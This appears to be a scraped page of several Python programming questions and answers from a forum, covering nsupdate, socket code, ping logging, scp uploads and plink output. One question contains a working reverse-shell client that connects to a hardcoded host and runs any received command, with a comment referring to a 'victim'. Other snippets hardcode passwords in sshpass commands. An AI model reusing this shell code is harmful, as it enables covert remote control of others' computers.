So I need to have a script that will execute the nsupdate command, to add a record the the ddns database:
#!/usr/local/bin/python3.7
import sys
import os
import time
import subprocess
try:
hostname = sys.argv[1]
IP = sys.argv[2]
except Exception as e:
print('Error: Please enter a number\n')
zone = hostname[-5:]
update = ''
if zone == 'zone1':
print('\nThis will be added to zone1\n')
#add to zone 1
update = 'update add ' + hostname + ' 86400' + ' A ' + IP
os.system('nsupdate -k zone1.key')
update = 'update add ' + hostname + ' 86400' + ' A ' + IP
if zone == 'zone2':
print('This will be added to zone2')
#add to zone 2
os.system('nsupdate -k zone2.key')
#if statement to check IP address is in range
#update = 'update add ' + hostname + ' 86400' + ' A ' + IP
time.sleep(2)
os.system(update)
time.sleep(2)
os.system('send')
time.sleep(2)
os.system('quit')
#time.sleep(3)
print('\nHostname:')
print(hostname)
print('\nIP address: ')
print(IP)
print('\nZone: ')
print (zone)
Above is the code I'm currently working with, please ignore it if its badly written, dont write much python.
I find it executes the first os.system fine, but will not run the next three.
I believe that's because the command line changes from # to > but have got no clue how to still have it execute those commands.
Have tried os.system and subprocess.run/call
even tried call it all in one os.system by going os.system('nsupdate; {update}; send; quit').
Any help would be great.
Related
I write a socket programming code client.py and server.py and it work awesome. Now I face a little problem I want to get the name of PC and show it like this device is connected below is the code. I tried different method but all fail. Basically, I have a couple Windows computers on my network that will be running a python script. So through this method I will know all computer name
client.py
import os, socket, subprocess ,getpass
def shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '192.168.100.9'
port = 9995
s.connect((host, port))
# userName = getpass.getuser()
# s.send(str.encode(userName))
# print(userName)
while True:
try:
data = s.recv(800000)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
# print(output_str) # if you want to show the output to the victim
except:
shell()
if __name__ == "__main__":
shell()
below is server code
server.py
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(80000000)
except:
del all_connections[i]
del all_address[i]
continue
results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n"
print("----Clients----" + "\n" + results)
it gave me output like this
output::
----Clients----
0 192.168.100.9 55747
I want output like this:::
output::
----Clients----
0 PC_NAME 192.168.100.9 55747
You can attempt to call socket.gethostbyaddr() on the IP address.
However, that depends on the DNS configuration of the server system - there's no real guarantee that the machines have registered their names with the local name server.
I need to write in a txt file during a infinite while. But it's not writing and if I don't use infinite while it's works.
What do I have to change ?
My goal is to ping different ip infinite time and when the ping fails, it's written in the file with the time and date
I've tried the code without the while True and it works.
I think the code need to be stop to write but can we do without stop ?
import os
import datetime
fichier = open("log.txt", "a")
date = datetime.datetime.now()
hostnames = [
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
]
while True :
for hostname in hostnames:
ping = os.system(" Ping " + str(hostname))
if ping == 1:
print("DOWN")
fichier.write(str(date) + " " + str(hostname) + '\n' + '\n')
else:
print("UP")
I expect the output when it's failed with a stamp Date/Time and the IP Address
To sum up all the answers in one:
try:
with open('log.txt', 'a') as fichier:
while True:
for hostname in hostnames:
ping = os.system(" Ping " + str(hostname))
if ping == 1:
print("DOWN")
fichier.flush()
fichier.write(str(date) + " " + str(hostname) + '\n' + '\n')
else:
print("UP")
except KeyboardInterrupt:
print("Done!")
I have a python script which contains the following function:
def upload2server(file):
host_name = 'example.ex.am.com'
port_num = '432'
user_name = 'user'
password = 'passw'
web_path = '/example/files/'
full_webpath = user_name + '#' + host_name + ':' + web_path + args.key
pre_command = 'sshpass -p "' + password + '" scp -P' + ' ' + port_num + ' '
scp_comm = pre_command + file + ' ' + full_webpath
os.system(scp_comm)
I'd have 2 questions:
How unsecure is that if I run this script from a remote network using port-forwarding?
Which ways could I make this uploading more secure?
Thanks!
Personally, I would generate an SSH keypair for each host and then you can totally forget about using the password in your scp command. Having your password inline isn't a problem per say but it does mean that your password will get recorded in the ~/.bash_history file of that user.
#! /usr/bin/python3
# pw.py - An insecure password locker program.
PASSWORDS = {'email': 'aklsjdlksajdkljl',
'blog': 'dklasjkl9379343',
'luggage': '12345'}
import sys, pyperclip
if len(sys.argv) < 2:
print('Usage: python ' + sys.argv[0] + ' [' + sys.argv[1] + '] - copy account password')
sys.exit()
account = sys.argv[1] # first command line arg is the account name
if account in PASSWORDS:
pyperclip.copy(PASSWORDS[account])
print('Password for ' + account + " " + sys.argv[0] + " " + sys.argv[1] + ' copied to clipboard.')
else:
print('There is no account named ' + account)
When I type ./pw.py email in terminal, it will go straight to the line: if account in PASSWORDS: and will skip line: if len(sys.argv) < 2:
Why did it skip that line?
If sys.argv[1] is defined, the length of sys.argv is 2 or greater. The test sys.argv < 2 is only going to be true when sys.argv contains just 0 or 1 items. So the if len(sys.argv) < 2: is not skipped, the test is just false and the associated block is not executed.
sys.argv[0] is always set to the script name (here pw.py), so the length would be at least 1.
Note that you just used python pw.py (so no account or other arguments), you'd get an index error, as the following line tries to index to sys.argv[1], a value that is not set:
print('Usage: python ' + sys.argv[0] + ' [' + sys.argv[1] + '] - copy account password')
# This raises an index error when len(sys.argv) < 2 ^^^
Here's my issue. I'm trying to ssh to Cisco devices and pull information off. When I run my code, the print statement adds a new line with a 0 in it to the bottom of the output. Here is the output of the code followed by the output of the plink CLI input:
C:\Python30>python PLINKSSHtest.py
Enter your username: josh
Password:
plink -pw nowayjose -ssh nope#1.1.1.1 "show run | inc hostname"
hostname net-R2
0 <------------MY ISSUE
C:\Python30>plink -pw nowayjose -ssh nope#1.1.1.1 "show run | inc hostname"
hostname net-R2
<------------WHAT I EXPECT
Here is my code:
def read_dev():
# Print statement here for debugging
print ("plink -pw " + password + " -ssh " + user + "#" + HOST + " " + command)
cur_dev = os.system("plink -pw " + password + " -ssh " + user + "#" + HOST + " " + command)
return(cur_dev)
HOST = None
user = input("Enter your username: ")
password = getpass.getpass()
command = '"show run | inc hostname"'
HOST = '1.1.1.1'
print (read_dev())
cur_dev is getting the result code returned by the plink command, which is 0. Your read_dev function returns this code, so print(read_dev()) prints the 0.
Just say read_dev() instead of print(read_dev()).
It doesn't "print zero". It prints cur_dev which is returned by read_dev function, which happens to be zero. And it does so, because you told it to. Remove print function and it won't print anything."
If you want to explicitly set the exit code use sys.exit(cur_dev). Simply using a return value from a function does not do what you want it to.